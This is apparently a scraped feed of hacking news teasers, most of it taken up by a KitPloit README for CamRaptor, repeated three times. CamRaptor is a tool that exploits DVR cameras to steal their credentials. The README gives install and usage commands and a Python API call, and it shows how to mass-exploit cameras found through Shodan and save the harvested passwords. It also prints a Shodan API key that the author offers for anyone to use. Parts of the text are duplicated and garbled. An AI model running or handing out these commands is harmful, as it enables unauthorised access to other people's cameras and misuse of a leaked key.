Github Dork

Use Github Dork For Finding Sensitive Information
Read more...

Kali Linux Tutorials
A2P2V : Automated Attack Path Planning and Validation

A2P2V ( Automated Attack Path Planning and Validation) is a planning and cyber-attack tool that provides the capability for users to determine a set of ranked attack sequences given a specific attacker goal. The aim of the tool is to simplify process so that non-security experts can generate clear, actionable intelligence from basic inputs using […]

The post A2P2V : Automated Attack Path Planning and Validation appeared first on Kali Linux Tutorials.

Kali Linux Tutorials
Interactsh : An OOB Interaction Gathering Server And Client Library

Interactsh is an Open-Source Solution for Out of band Data Extraction, A tool designed to detect bugs that cause external interactions, For example – Blind SQLi, Blind CMDi, SSRF, etc. Features DNS/HTTP/SMTP Interaction support CLI Client / Web Dashboard support AES encryption with zero logging Automatic ACME based Wildcard TLS w/ Auto Renewal SELF Hosting version […]

The post Interactsh : An OOB Interaction Gathering Server And Client Library appeared first on Kali Linux Tutorials.

Hacking on Medium
Learn to hack without becoming a script kiddie /2021 -

https://cdn-images-1.medium.com/max/640/0*zCYxHWKaAwR2YY_t.jpg
Introduction

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

Hacking on Medium
Leveraging Burp Suite extension for finding IDOR(Insecure Direct Object Reference).

https://cdn-images-1.medium.com/max/1920/1*ldQ75PFf4U1KZNF5qn1_Xw.png
IDOR is one of the common vulnerabilities found in bug bounty websites. Let's see how to easily catch them.

Continue reading on InfoSec Write-ups »
➖ Sent by @TheFeedReaderBot ➖

Hacking on Medium
電玩大廠 EA 被盜！駭客偽裝員工直接要密碼，該怎麼防禦？

https://cdn-images-1.medium.com/max/700/1*-ECWDm_Idc8Ax4J54EXaeA.jpeg
大部分的網路上的內容只說明單一案件駭客攻擊的方式，本篇文章將講解實務上怎麼防禦這類「詐騙」型的攻擊，怎麼利用一些「主動」的防禦，來避免人性的弱點，也會分享駭客進行詐騙的技巧(利用好奇心、愧疚感等等手法)，讓你有深入的了解，不讓駭客偷走你辛苦的成果！

Continue reading on 程式猿吃香蕉 »
➖ Sent by @TheFeedReaderBot ➖

Hacking on Medium
#496 (經濟學人導讀 — 每週社論)

https://cdn-images-1.medium.com/max/836/1*To9PzD6O3OpKth-yUNbA3g.png
#每日一經濟學人 #國際時事 #英文學習 #這同時也可以遏止網路惡作劇 #謝謝團隊的Jacky

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

KitPloit - PenTest Tools!
CamRaptor - Tool That Exploits Several Vulnerabilities In Popular DVR Cameras To Obtain Network Camera Credentials

https://1.bp.blogspot.com/-DpPkRN0OCwU/YND4ZNPBlFI/AAAAAAAAc6w/yevrpavDupMZmDr_UMG-QIMYdqdaFJ6DQCNcBGAsYHQ/w640-h412/CamRaptor.png
CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain network camera credentials.

Features

* Exploits vulnerabilities in most popular camera models such as Novo, CeNovaand QSee.
* Optimized to exploit multiple cameras at one time from list with threading enabled.
* Simple CLI and API usage.
Installation

pip3 install git+https://github.com/EntySec/CamRaptor

Basic usage

To use CamRaptor just type camraptorin your terminal.

Shodan API key for exploiting devices over Internet. --zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet. -p PAGES, --pages PAGES Number of pages you want to get from ZoomEye. ">usage: camraptor [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]
[--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]

CamRaptor is a tool that exploits several vulnerabilities in popular DVR
cameras to obtain network camera credentials.

optional arguments:
-h, --help show this help message and exit
-t, --threads Use threads for fastest work.
-o OUTPUT, --output OUTPUT
Output result to file.
-i INPUT, --input INPUT
Input file of addresses.
-a ADDRESS, --address ADDRESS
Single address.
--shodan SHODAN Shodan API key for exploiting devices over Internet.
--zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet.
-p PAGES, --pages PAGES
Number of pages you want to get from ZoomEye.


Examples

Exploiting single camera

Let's hack my camera just for fun.

camraptor -a 192.168.99.100

Exploiting cameras from Internet

Let's try to use Shodan search engine to exploit cameras over Internet, we will use it with -tfor fast exploitation.

camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

NOTE: Given Shodan API key (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) is my PRO API key, you can use this key or your own, be free to use all our resources for free :)

Exploiting cameras from input file

Let's try to use opened database of cameras with -tfor fast exploitation.

camraptor -t -i cameras.txt -o passwords.txt

NOTE: It will exploit all cameras in cameras.txtlist by their addresses and save all obtained passwords to passwords.txt.

API usage

CamRaptor also has their own Python API that can be invoked by importing CamRaptor to your code.

from camraptor import CamRaptor

Basic functions

There are all CamRaptor basic functions that can be used to exploit specified camera.

* exploit(address)- Exploit single camera by given address.

Examples

Exploiting single camera

from camraptor import CamRaptor

camraptor = CamRaptor()
creds = camraptor.exploit('192.168.99.100')

print(creds)
Download CamRaptor

CamRaptor - Tool That Exploits Several Vulnerabilities In Popular DVR Cameras To Obtain Network Camera Credentials
http://www.kitploit.com/2021/06/camraptor-tool-that-exploits-several.html

CamRaptor is a tool that exploits several vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) in popular DVR cameras to obtain network camera credentials.
Features
Exploits vulnerabilities in most popular camera models such as Novo, CeNova and QSee. Optimized to exploit multiple cameras at one time from list with threading (https://www.kitploit.com/search/label/Threading) enabled. Simple CLI and API usage.
Installation
pip3 install git+https://github.com/EntySec/CamRaptor
Basic usage
To use CamRaptor just type camraptor in your terminal. Shodan API key for exploiting (https://www.kitploit.com/search/label/Exploiting) devices over Internet. --zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet. -p PAGES, --pages PAGES Number of pages you want to get from ZoomEye. ">usage: camraptor [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]
[--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]

CamRaptor is a tool that exploits several vulnerabilities in popular DVR
cameras to obtain network camera credentials.

optional arguments:
-h, --help show this help message and exit
-t, --threads Use threads for fastest work.
-o OUTPUT, --output OUTPUT
Output result to file.
-i INPUT, --input INPUT
Input file of addresses.
-a ADDRESS, --address ADDRESS
Single address.
--shodan SHODAN Shodan API key for exploiting devices over Internet.
--zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet.
-p PAGES, --pages PAGES
Number of pages you want to get from ZoomEye.

Examples
Exploiting single camera Let's hack my camera just for fun. camraptor -a 192.168.99.100 Exploiting cameras from Internet Let's try to use Shodan search engine to exploit cameras over Internet, we will use it with -t for fast exploitation. camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD NOTE: Given Shodan API key (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) is my PRO API key, you can use this key or your own, be free to use all our resources for free :) Exploiting cameras from input file Let's try to use opened database of cameras with -t for fast exploitation. camraptor -t -i cameras.txt -o passwords.txt NOTE: It will exploit all cameras in cameras.txt list by their addresses and save all obtained passwords (https://www.kitploit.com/search/label/Passwords) to passwords.txt.
API usage
CamRaptor also has their own Python API that can be invoked by importing CamRaptor to your code. from camraptor import CamRaptor
Basic functions
There are all CamRaptor basic functions that can be used to exploit specified camera. exploit(address) - Exploit single camera by given address.
Examples
Exploiting single camera from camraptor import CamRaptor

camraptor = CamRaptor()
creds = camraptor.exploit('192.168.99.100')

print(creds)

Download CamRaptor (https://github.com/EntySec/CamRaptor)

CamRaptor - Tool That Exploits Several Vulnerabilities In Popular DVR Cameras To Obtain Network Camera Credentials

CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain network camera credentials. Features Exploits vulnerabilities in most popular camera models such as Novo, CeNova and QSee. Optimized to exploit multiple cameras at one time from list with threading enabled. Simple CLI and API usage.Installation pip3 install git+https://github.com/EntySec/CamRaptor Basic usage To use CamRaptor just type camraptor in your terminal. Shodan API key for exploiting devices over Internet. --zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet. -p PAGES, --pages PAGES Number of pages you want to get from ZoomEye. ">usage: camraptor -h -t -o OUTPUT -i INPUT -a ADDRESS --shodan SHODAN --zoomeye ZOOMEYE -p PAGESCamRaptor is a tool that exploits several vulnerabilities in popular DVRcameras to obtain network camera credentials.optional arguments: -h, --help show this help message and exit -t, --threads Use threads for fastest work. -o OUTPUT, --output OUTPUT Output result to file. -i INPUT, --input INPUT Input file of addresses. -a ADDRESS, --address ADDRESS Single address. --shodan SHODAN Shodan API key for exploiting devices over Internet. --zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet. -p PAGES, --pages PAGES Number of pages you want to get from ZoomEye. Examples Exploiting single camera Let's hack my camera just for fun. camraptor -a 192.168.99.100 Exploiting cameras from Internet Let's try to use Shodan search engine to exploit cameras over Internet, we will use it with -t for fast exploitation. camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD NOTE: Given Shodan API key (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) is my PRO API key, you can use this key or your own, be free to use all our resources for free :) Exploiting cameras from input file Let's try to use opened database of cameras with -t for fast exploitation. camraptor -t -i cameras.txt -o passwords.txt NOTE: It will exploit all cameras in cameras.txt list by their addresses and save all obtained passwords to passwords.txt. API usage CamRaptor also has their own Python API that can be invoked by importing CamRaptor to your code. from camraptor import CamRaptor Basic functions There are all CamRaptor basic functions that can be used to exploit specified camera. exploit(address) - Exploit single camera by given address. Examples Exploiting single camera from camraptor import CamRaptorcamraptor = CamRaptor()creds = camraptor.exploit('192.168.99.100')print(creds) Download CamRaptor
Read more...

My Experience For 2 Years In Bug Bounty Hunting

My experience and achievements that were gathered during Bug Bounty Hunting that I started 2 years ago.Continue reading on Medium »
Read more...

Deep Web
Patching to tag geo ip to bypass verification?

What does this mean ?

submitted by /u/ComedianNo3193
[link] [comments]